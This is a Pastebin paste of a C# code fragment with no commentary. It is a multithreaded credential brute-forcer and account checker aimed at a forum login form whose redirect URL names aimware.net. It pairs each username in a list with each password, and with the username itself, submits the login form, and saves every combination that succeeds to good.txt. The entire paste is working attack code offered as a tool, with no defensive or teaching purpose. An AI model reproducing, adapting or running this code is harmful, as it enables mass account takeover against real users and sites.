Advertisement
Guest User

Untitled

a guest
Aug 11th, 2018
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  Parallel.For(0, log.Length, new ParallelOptions(), i =>
  2.             {
  3.                 Parallel.For(0, pas.Length + 1, j =>
  4.                 {
  5.  
  6.                     using (WebClient test = new WebClient())
  7.                     {
  8.                         test.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
  9.                         string Parameters = "";
  10.                         string HtmlResult = "";
  11.                         if (j == pas.Length){
  12.                             WriteResult(log, i, log, i, test, URI,ref clear, out Parameters, out HtmlResult,
  13.                                 ref check, ref good);
  14.                         }
  15.                         else{
  16.                             WriteResult(log, i, pas, j, test, URI,ref clear, out Parameters, out HtmlResult,
  17.                                 ref check, ref good);
  18.                         }
  19.                     }
  20.  
  21.                 });
  22.  
  23.             });
  24.  
  25.  
  26.             Console.ReadKey();
  27.         }
  28.  
  29.         private static void WriteResult(string[] log, int i, string[] pas, int j, WebClient test, string URI,ref int clear,
  30.             out string Parameters, out string HtmlResult, ref int check, ref int good){
  31.             Parameters = "username=" + log[i] + "&password=" + pas[j] +
  32.                          "&submit=Login&action=do_login&url=https%3A%2F%2Faimware.net%2Fforum%2Findex.php";
  33.             HtmlResult = test.UploadString(URI, Parameters);
  34.             {
  35.                 if (HtmlResult.Contains("Please correct the following")){
  36.                     if (clear == 200){
  37.                         Console.Clear();
  38.                     }
  39.  
  40.                     check++;
  41.                     clear++;
  42.                     Console.WriteLine(
  43.                         "Account " + log[i] + ":" + pas[j] + " is invalid" +
  44.                         "\nchecked variants: " + check + " Good: " + good);
  45.                 }
  46.                 else{
  47.                     good++;
  48.                     Console.WriteLine(
  49.                         "Account " + log[i] + ":" + pas[j] + " is valid " +
  50.                         "\nchecked variants: " + check + " Good: " + good);
  51.                     using (var sw =
  52.                         File.AppendText(Environment.CurrentDirectory + @"\good.txt")){
  53.                         sw.WriteLine(log[i] + ":" + pas[j] + "\n");
  54.                     }
  55.                 }
  56.             }
  57.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement